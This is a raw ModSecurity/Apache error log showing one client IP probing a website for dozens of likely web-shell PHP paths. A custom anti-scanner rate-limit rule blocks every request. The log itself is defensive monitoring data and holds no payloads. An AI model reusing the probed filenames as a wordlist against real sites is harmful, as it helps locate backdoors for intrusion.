[Sat Dec 13 21:42:10.870049 2025] [:error] [pid 20799:tid 20809] [client 4.194.162.164:58463] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aT1tMqPz3eVRUTzZpOKJWgAAAsg"]
[Sat Dec 13 21:42:11.508101 2025] [:error] [pid 8242:tid 8270] [client 4.194.162.164:54498] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aT1tMyNKA7vSGNUfnOFAfQAAAlY"]
[Sat Dec 13 21:42:12.291751 2025] [:error] [pid 8242:tid 8250] [client 4.194.162.164:58474] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aT1tNCNKA7vSGNUfnOFAfgAAAkI"]
[Sat Dec 13 21:42:13.367643 2025] [:error] [pid 23013:tid 23025] [client 4.194.162.164:54510] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aT1tNas9bDNWPQXUW1ankgAAA8o"]
[Sat Dec 13 21:42:14.471385 2025] [:error] [pid 23013:tid 23021] [client 4.194.162.164:54472] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aT1tNqs9bDNWPQXUW1anlAAAA8Y"]
[Sat Dec 13 21:42:15.448361 2025] [:error] [pid 43747:tid 43763] [client 4.194.162.164:54481] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aT1tN5Yw3twBd_JQEHhCyAAAAAw"]
[Sat Dec 13 21:42:16.603930 2025] [:error] [pid 21342:tid 21355] [client 4.194.162.164:56349] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aT1tOPBL0VVSMIEvqsuJAQAAAwk"]
[Sat Dec 13 21:42:18.083739 2025] [:error] [pid 23013:tid 23020] [client 4.194.162.164:58130] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aT1tOqs9bDNWPQXUW1anmQAAA8U"]
[Sat Dec 13 21:42:19.292679 2025] [:error] [pid 23013:tid 23022] [client 4.194.162.164:54170] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aT1tO6s9bDNWPQXUW1anmwAAA8c"]
[Sat Dec 13 21:42:20.489330 2025] [:error] [pid 21342:tid 21361] [client 4.194.162.164:56357] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aT1tPPBL0VVSMIEvqsuJBgAAAw8"]
[Sat Dec 13 21:42:22.164385 2025] [:error] [pid 43747:tid 43769] [client 4.194.162.164:58444] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aT1tPpYw3twBd_JQEHhCzQAAABI"]
[Sat Dec 13 21:42:22.994101 2025] [:error] [pid 39287:tid 39305] [client 4.194.162.164:54186] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aT1tPjBwBW1JRRoCYqaRCAAAARA"]
[Sat Dec 13 21:42:24.271079 2025] [:error] [pid 43836:tid 43855] [client 4.194.162.164:56378] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aT1tQGAEOBirsxb11nYGvQAAANE"]
[Sat Dec 13 21:42:25.270786 2025] [:error] [pid 43747:tid 43770] [client 4.194.162.164:54166] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aT1tQZYw3twBd_JQEHhC0QAAABM"]
[Sat Dec 13 21:42:27.878889 2025] [:error] [pid 23013:tid 23015] [client 4.194.162.164:1441] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aT1tQ6s9bDNWPQXUW1annwAAA8A"]
[Sat Dec 13 21:42:28.757365 2025] [:error] [pid 43747:tid 43768] [client 4.194.162.164:56365] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aT1tRJYw3twBd_JQEHhC1gAAABE"]
[Sat Dec 13 21:42:30.658847 2025] [:error] [pid 43836:tid 43843] [client 4.194.162.164:1459] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aT1tRmAEOBirsxb11nYGwAAAAMU"]
[Sat Dec 13 21:42:33.223741 2025] [:error] [pid 23013:tid 23017] [client 4.194.162.164:1726] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aT1tSas9bDNWPQXUW1anoQAAA8I"]
[Sat Dec 13 21:42:34.943205 2025] [:error] [pid 22505:tid 22510] [client 4.194.162.164:1686] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aT1tSjvNI-35hW16TnUkOwAAA4M"]
[Sat Dec 13 21:42:36.602791 2025] [:error] [pid 55071:tid 55087] [client 4.194.162.164:54198] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aT1tTMHSpNduhEZ_mjfesAAAAY4"]
[Sat Dec 13 21:42:38.399721 2025] [:error] [pid 21342:tid 21365] [client 4.194.162.164:1427] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aT1tTvBL0VVSMIEvqsuJFAAAAxM"]
[Sat Dec 13 21:42:39.377283 2025] [:error] [pid 43748:tid 43779] [client 4.194.162.164:1449] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aT1tT6rTT0VzE3gYjcC02gAAAEA"]
[Sat Dec 13 21:42:42.925007 2025] [:error] [pid 39287:tid 39289] [client 4.194.162.164:54152] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aT1tUjBwBW1JRRoCYqaRDgAAAQA"]
[Sat Dec 13 21:42:44.328192 2025] [:error] [pid 43836:tid 43847] [client 4.194.162.164:1466] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aT1tVGAEOBirsxb11nYGzgAAAMk"]
[Sat Dec 13 21:42:47.696883 2025] [:error] [pid 43747:tid 43768] [client 4.194.162.164:58065] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aT1tV5Yw3twBd_JQEHhC4AAAABE"]
[Sat Dec 13 21:42:49.502785 2025] [:error] [pid 43747:tid 43769] [client 4.194.162.164:1440] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aT1tWZYw3twBd_JQEHhC5AAAABI"]
[Sat Dec 13 21:42:50.929689 2025] [:error] [pid 43747:tid 43753] [client 4.194.162.164:1700] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class19.php"] [unique_id "aT1tWpYw3twBd_JQEHhC6wAAAAI"]
[Sat Dec 13 21:42:59.018903 2025] [:error] [pid 21342:tid 21355] [client 4.194.162.164:54184] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aT1tY_BL0VVSMIEvqsuJOwAAAwk"]
[Sat Dec 13 21:43:02.731930 2025] [:error] [pid 22505:tid 22521] [client 4.194.162.164:60135] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aT1tZjvNI-35hW16TnUkQwAAA44"]
[Sat Dec 13 21:43:07.053534 2025] [:error] [pid 20799:tid 20810] [client 4.194.162.164:58073] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aT1ta6Pz3eVRUTzZpOKJZgAAAsk"]
[Sat Dec 13 21:43:08.420708 2025] [:error] [pid 43747:tid 43773] [client 4.194.162.164:1455] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aT1tbJYw3twBd_JQEHhC8wAAABY"]
[Sat Dec 13 21:43:08.991813 2025] [:error] [pid 20799:tid 20825] [client 4.194.162.164:1452] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aT1tbKPz3eVRUTzZpOKJaAAAAtg"]
[Sat Dec 13 21:43:10.065636 2025] [:error] [pid 20799:tid 20823] [client 4.194.162.164:58084] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aT1tbqPz3eVRUTzZpOKJbQAAAtY"]
[Sat Dec 13 21:43:11.937035 2025] [:error] [pid 22505:tid 22507] [client 4.194.162.164:60101] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aT1tbzvNI-35hW16TnUkRQAAA4A"]
[Sat Dec 13 21:43:14.147232 2025] [:error] [pid 21342:tid 21367] [client 4.194.162.164:1425] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-gr.php"] [unique_id "aT1tcvBL0VVSMIEvqsuJRgAAAxU"]
[Sat Dec 13 21:43:14.739194 2025] [:error] [pid 43748:tid 43784] [client 4.194.162.164:1436] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aT1tcqrTT0VzE3gYjcC05wAAAEU"]
[Sat Dec 13 21:43:15.569464 2025] [:error] [pid 55071:tid 55097] [client 4.194.162.164:58050] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aT1tc8HSpNduhEZ_mjfevQAAAZg"]
[Sat Dec 13 21:43:16.114091 2025] [:error] [pid 23013:tid 23031] [client 4.194.162.164:58081] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aT1tdKs9bDNWPQXUW1anuQAAA9A"]
[Sat Dec 13 21:43:18.844765 2025] [:error] [pid 23013:tid 23018] [client 4.194.162.164:57615] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/owl.php"] [unique_id "aT1tdqs9bDNWPQXUW1anugAAA8M"]
[Sat Dec 13 21:43:19.620362 2025] [:error] [pid 43747:tid 43768] [client 4.194.162.164:60127] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aT1td5Yw3twBd_JQEHhC-AAAABE"]
[Sat Dec 13 21:43:21.932365 2025] [:error] [pid 39287:tid 39304] [client 4.194.162.164:1410] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aT1teTBwBW1JRRoCYqaRHAAAAQ8"]
[Sat Dec 13 21:43:23.410296 2025] [:error] [pid 20799:tid 20809] [client 4.194.162.164:1428] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aT1te6Pz3eVRUTzZpOKJcgAAAsg"]
[Sat Dec 13 21:43:24.698971 2025] [:error] [pid 43836:tid 43853] [client 4.194.162.164:60098] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mo.php"] [unique_id "aT1tfGAEOBirsxb11nYG4QAAAM8"]
[Sat Dec 13 21:43:25.383364 2025] [:error] [pid 8242:tid 8258] [client 4.194.162.164:57661] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aT1tfSNKA7vSGNUfnOFAkAAAAko"]
[Sat Dec 13 21:43:26.774360 2025] [:error] [pid 55071:tid 55073] [client 4.194.162.164:58058] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aT1tfsHSpNduhEZ_mjfewwAAAYA"]
[Sat Dec 13 21:43:27.338225 2025] [:error] [pid 20799:tid 20810] [client 4.194.162.164:57627] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aT1tf6Pz3eVRUTzZpOKJdAAAAsk"]
[Sat Dec 13 21:43:28.385633 2025] [:error] [pid 8242:tid 8251] [client 4.194.162.164:60106] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "aT1tgCNKA7vSGNUfnOFAkQAAAkM"]
[Sat Dec 13 21:43:30.083340 2025] [:error] [pid 43747:tid 43767] [client 4.194.162.164:57605] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aT1tgpYw3twBd_JQEHhC-wAAABA"]
[Sat Dec 13 21:43:30.637718 2025] [:error] [pid 8242:tid 8255] [client 4.194.162.164:60113] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aT1tgiNKA7vSGNUfnOFAkwAAAkc"]
[Sat Dec 13 21:43:31.716719 2025] [:error] [pid 23013:tid 23019] [client 4.194.162.164:57652] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aT1tg6s9bDNWPQXUW1anvAAAA8Q"]
[Sat Dec 13 21:43:32.963648 2025] [:error] [pid 43747:tid 43764] [client 4.194.162.164:60105] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ok.php"] [unique_id "aT1thJYw3twBd_JQEHhC_gAAAA0"]
[Sat Dec 13 21:43:33.732266 2025] [:error] [pid 55071:tid 55079] [client 4.194.162.164:58051] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aT1thcHSpNduhEZ_mjfeywAAAYY"]
[Sat Dec 13 21:43:34.724196 2025] [:error] [pid 8242:tid 8260] [client 4.194.162.164:1533] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aT1thiNKA7vSGNUfnOFAlAAAAkw"]
[Sat Dec 13 21:43:35.361100 2025] [:error] [pid 23013:tid 23030] [client 4.194.162.164:54183] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aT1th6s9bDNWPQXUW1anwAAAA88"]
[Sat Dec 13 21:43:36.626768 2025] [:error] [pid 21342:tid 21356] [client 4.194.162.164:60153] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/444.php"] [unique_id "aT1tiPBL0VVSMIEvqsuJTgAAAwo"]
[Sat Dec 13 21:43:37.533724 2025] [:error] [pid 43836:tid 43858] [client 4.194.162.164:58978] [client 4.194.162.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zc-903.php"] [unique_id "aT1tiWAEOBirsxb11nYG5AAAANQ"]
